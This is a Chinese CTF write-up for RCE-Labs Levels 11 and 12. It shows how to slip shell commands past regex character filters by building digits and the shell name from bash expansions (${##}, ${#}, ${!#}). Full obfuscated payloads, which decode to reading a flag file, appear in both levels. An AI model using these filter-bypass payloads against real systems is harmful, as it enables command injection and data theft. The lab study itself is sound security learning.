RCE-Labs超详细WP-Level11Level12(0/1的特殊替换)
Level 11
分析源码
- 主要关注
preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^
|]/", $cmd)` 过滤字符的变化 - 发现比起上一关, 这一关可以使用的数字只有
0
- 归纳一下, 能用的字符有
#
,$
,(
,)
,0
,<
,\
,{
,}
解题分析
- 而没有了
1
, 怎么表示二进制呢? - 这个时候就需要使用间接扩展特性中的
${#xxx}
, 它用于表示变量 xxx 存储的字符串长度- 如
sh-5.1# a=1 sh-5.1# echo ${#a} 1
- 如
- 而前几关提到
${#}
代表传递给当前脚本的参数个数, 虽说他没有办法作为1
使用, 但是#
可以作为变量, 而其存储的0
的长度为1
sh-5.1# echo $# 0 sh-5.1# echo ${##} 1
- 所以我们只需要把上关的 Paylaod 中的
1
, 全部换为${##}
即可 - 上关的Payload为
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
- 替换后为
$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
- 所以我们只需要把上关的 Paylaod 中的
解题步骤
- 似乎出题人察觉到了, GET请求的最大长度已经不满足于现在的Payload了(后面查了一下, 发现其实距离超出限制还远远不到)
- 所以这一关采用了 POST 请求(应该是省的URL转换吧)
- 当然也就不在需要使用 URL编码 了
Level 12
源码分析
- 这一关并未给出源码
- 似乎是因为本关考察点在 PHP 的
system
中并不支持 - 所以在 Python 的 Flask 环境下使用subprocess模块来执行命令
- 并给我们一个虚拟终端
- 似乎是因为本关考察点在 PHP 的
- 不过还是告诉了 WAF 是什么
"WAF:[A-Za-z0-9"%*+,-.\/:;=>?@[\]^`|&_~]"
- 也就是说这一关中, 任何一个数字都使用不了了
- 不过以下几个符号还是可以使用的
! # $ ' ( ) < \ { }
解题分析
- 这里就要使用间接扩展特性中的
${!xxx}
, 它表示用xxx的值作为另一个变量的名字, 然后取出那个变量的值- 如
sh-5.1# a=0 sh-5.1# echo ${!a} /bin/sh
- 即
${!a} 就相当于 $0
- 这样就找到
$0
代替bash
的平替了
- 如
- 然后
${#}
为传递给当前脚本的参数个数, 也就是0
- 现在就可以把上一关的 Payload 拿来修改了
$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
- 修改后
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
解题步骤
- 既然给我们了UI界面, 那直接使用输入Payload就行了